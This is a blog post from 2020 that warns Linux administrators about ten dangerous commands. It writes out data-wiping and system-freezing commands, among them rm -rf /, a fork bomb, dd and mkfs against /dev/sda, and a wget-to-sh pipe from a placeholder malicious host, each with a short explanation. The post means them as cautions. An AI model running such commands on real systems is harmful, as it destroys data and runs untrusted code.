10 Linux Commands Which Can Take Your Job

 Linux Commands

We all love our job and we work hard to stand up in the eyes of boss, for promotion and appraisals.

What if a single command ruins the entire empire of yours.

Are you serious?

Unfortunately yes, being a System Admin you have privilege to access company’s data, which is considered as the backbone of any company. And we all know WITH GREAT POWERS COMES GREAT RESPONSIBILITY.

I have tried to cover 10 linux commands which can take your job. 
  1. rm –rf / - Delete Folder Completely.
  2. Umount–l – Lazy Unmount
  3. :(){:|:&};: - Freezes Your System.
  4. mv ~ /dev/null – Moves Home Directory to Black Hole.
  5. dd if=/dev/zero of=/dev/sda – Wipe Out the Block sda.
  6. wget http://malicious_source -O- | sh – Download Script from Malicious Source.
  7. mkfs.ext3 /dev/sda – Format the Block ‘sda’.
  8. > file – Flush the Content of File.
  9. ^foo^bar – Edit Previous Run Command.
  10. command>/dev/sda – Writes Directly to Hard Drive.

1. rm –rf /

rm –rf  means force deletion of current folder and sub folders. It is the fastest and simplest way to delete the folder and its content. But, if you don’t take extra care while running this, it may end up into unrecoverable system damage.

Top Linux Command

      2.   Umount –l

Lazy unmount. Detach the filesystem from the filesystem hierarchy, and cleanup all references to the file system as soon as it is not busy anymore. (Requires kernel 2.4.11 or later.)

Top Linux Command

3.  :(){:|:&};:

This command looks simple, as is combination of symbols, but it’s a dangerous bash function.
It defines a shell function which creates itself again and again taking CPU and memory, which can freeze your system.

Top Linux Command
4. mv ~ /dev/null

By running this command you move your home directory to /dev/null. In Linux /dev/null is a special file that discards all the data written to it. /dev/null is also known as Black hole.

Top Linux Command

5. dd if=/dev/zero of=/dev/sda

This command will completely wipe out the block sda and write junk files into it. Under such scenario your system will be left in unrecoverable stage.

Top Linux Command

6.  wget http://malicious_source -O- | sh

This command will download script from the web and send it to sh, which then executes the command.

While running this command you have to be doubles sure that you are downloading the file from a trusted source and you must know what the script is about.

Top Linux Command

7. mkfs.ext4 /dev/sda

This is a simple command used, to change the file system.  It is same as running format C in windows. 

When this command is executed it will wipe the files on partition and replace it with a new file system.

Top Linux Command
8. > file

This simple looking command is used to flush the content of a file. > is used to redirect the output to a file and make it empty.

Top Linux Command

9. ^foo^bar

This command is used to edit the previous run command without the need of typing whole command again. It can be troublesome if you don’t check the command before running.

Top Linux Command

10. command > /dev/sda

The output of command is sent to hard drive thereby damaging the file system.

Note: Beware running commands that involve /dev/sda.

Top Linux Command

So we have seen 10 advance linux commands which can take your job. Let me know in the comment section, if you have any other command that Linux Admin shouldn’t DARE to RUN.

10 Linux Commands Which Can Take Your Job 10 Linux Commands Which Can Take Your Job Reviewed by Teach Anthem Admin on April 06, 2020 Rating: 5

No comments:

Please do not enter any spam link in the comment box.

Powered by Blogger.